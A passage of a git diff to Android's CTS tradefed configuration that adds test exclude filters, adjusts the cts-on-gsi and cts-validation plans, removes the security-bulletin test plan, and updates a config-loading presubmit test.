+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest913HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest914HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest915HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest917HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest918HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest919HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest920HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest922HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest923HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest924HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest926HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest927HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest928HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest930HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest931HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest932HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest940HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest942HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest944HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest945HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest947HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest951HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest982HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest983HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest984HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest985HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest986HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest988HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest989HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest990HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest991HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest992HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest993HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest994HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest995HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest996HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiRunTest997HostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiTaggingHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsJvmtiTrackingHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsLegacyNotification20TestCases" />
+    <option name="compatibility:exclude-filter" value="CtsLegacyNotification27TestCases" />
+    <option name="compatibility:exclude-filter" value="CtsLegacyNotification28TestCases" />
+    <option name="compatibility:exclude-filter" value="CtsLegacyNotification29TestCases" />
+    <option name="compatibility:exclude-filter" value="CtsLocationNoneTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsNetTestCasesInternetPermission" />
+    <option name="compatibility:exclude-filter" value="CtsNoPermissionTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsNoPermissionTestCases25" />
+    <option name="compatibility:exclude-filter" value="CtsOsTestCases android.os.cts.StrictModeTest" />
+    <option name="compatibility:exclude-filter" value="CtsPackageInstallAppOpDefaultTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsPackageInstallAppOpDeniedTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsPackageInstallerTapjackingTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsPackageInstallTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsPackageUninstallTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsPackageWatchdogTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsProtoTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsRsBlasTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsRsCppTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSelinuxEphemeralTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSelinuxTargetSdk25TestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSelinuxTargetSdk27TestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSelinuxTargetSdk28TestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSelinuxTargetSdk29TestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSelinuxTargetSdkCurrentTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSimpleCpuTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSimpleperfTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSoundTriggerTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsStagedInstallHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsStrictJavaPackagesTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSuspendAppsPermissionTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSuspendAppsTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSustainedPerformanceHostTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSyncAccountAccessOtherCertTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsSystemIntentTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsTelephony3TestCases" />
+    <option name="compatibility:exclude-filter" value="CtsThemeDeviceTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsToastLegacyTestCases" />
+    <option name="compatibility:exclude-filter" value="CtsToastTestCases" />
+
+</configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
index 886edd3..b1584e6 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi-exclude.xml
@@ -59,6 +59,9 @@
     <!-- No Statsd -->
     <option name="compatibility:exclude-filter" value="CtsStatsdHostTestCases" />
 
+    <!-- No AppOps -->
+    <option name="compatibility:exclude-filter" value="CtsStatsdAtomHostTestCases android.cts.statsdatom.appops.AppOpsTests" />
+
     <!-- b/183654427 Remove CtsTelecomTestCases from cts-on-gsi -->
     <option name="compatibility:exclude-filter" value="CtsTelecomTestCases" />
 
@@ -77,4 +80,14 @@
     <!-- b/183636777 Remove CtsShortcutManagerPackage4 from cts-on-gsi -->
     <option name="compatibility:exclude-filter" value="CtsShortcutManagerPackage4" />
 
+    <!-- b/185451791. Can't have single overlay package for both AOSP version and Google-signed mainline modules -->
+    <option name="compatibility:exclude-filter" value="CtsWifiTestCases android.net.wifi.cts.ConcurrencyTest#testPersistentGroupOperation" />
+    <option name="compatibility:exclude-filter" value="CtsWifiTestCases android.net.wifi.cts.ConcurrencyTest#testRequestNetworkInfo" />
+
+    <!-- b/192916298, b/192013761, b/193544088  CtsAppCloningHostTest from cts-on-gsi -->
+    <option name="compatibility:exclude-filter" value="CtsAppCloningHostTest android.scopedstorage.cts.host.AppCloningHostTest#testCreateCloneUserFile" />
+
+    <!-- b/194146521 -->
+    <option name="compatibility:exclude-filter" value="CtsPermission3TestCases android.permission3.cts.PermissionTest23#testNoResidualPermissionsOnUninstall" />
+
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-on-gsi.xml b/tools/cts-tradefed/res/config/cts-on-gsi.xml
index be89e79..327ba54 100644
--- a/tools/cts-tradefed/res/config/cts-on-gsi.xml
+++ b/tools/cts-tradefed/res/config/cts-on-gsi.xml
@@ -17,6 +17,7 @@
 
     <include name="cts-on-aosp" />
     <include name="cts-on-gsi-exclude" />
+    <include name="cts-on-gsi-exclude-non-hal" />
 
     <option name="plan" value="cts-on-gsi" />
 
diff --git a/tools/cts-tradefed/res/config/cts-validation.xml b/tools/cts-tradefed/res/config/cts-validation.xml
index dc33eca..fa8a666 100644
--- a/tools/cts-tradefed/res/config/cts-validation.xml
+++ b/tools/cts-tradefed/res/config/cts-validation.xml
@@ -15,6 +15,7 @@
 -->
 <configuration description="Runs a subset of CTS tests using a general kernel image (GKI)">
     <option name="plan" value="cts-validation" />
+    <option name="result-attribute" key="GKI" value="1" />
     <include name="cts-on-gsi" />
     <include name="cts-validation-exclude" />
 </configuration>
diff --git a/tools/cts-tradefed/res/config/security-bulletin.xml b/tools/cts-tradefed/res/config/security-bulletin.xml
deleted file mode 100644
index 02175a9..0000000
--- a/tools/cts-tradefed/res/config/security-bulletin.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Runs Security Patch test cases">
-
-    <option name="plan" value="security-bulletin" />
-
-    <include name="cts"/>
-
-    <option name="compatibility:include-filter" value="CtsSecurityTestCases" />
-
-    <option name="compatibility:include-filter" value="CtsSecurityHostTestCases" />
-
-    <!-- Only run tests with @SecurityTest annotation. -->
-    <option name="compatibility:module-arg" value="CtsSecurityHostTestCases:include-annotation:android.platform.test.annotations.SecurityTest"/>
-
-    <option name="compatibility:test-arg" value="com.android.tradefed.testtype.AndroidJUnitTest:include-annotation:android.platform.test.annotations.SecurityTest" />
-
-</configuration>
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
index 024ca99..65bb7f5 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/CtsConfigLoadingTest.java
@@ -82,6 +82,7 @@
                             "hdmi",
                             "inputmethod",
                             "libcore",
+                            "libnativehelper",
                             "location",
                             "media",
                             "metrics",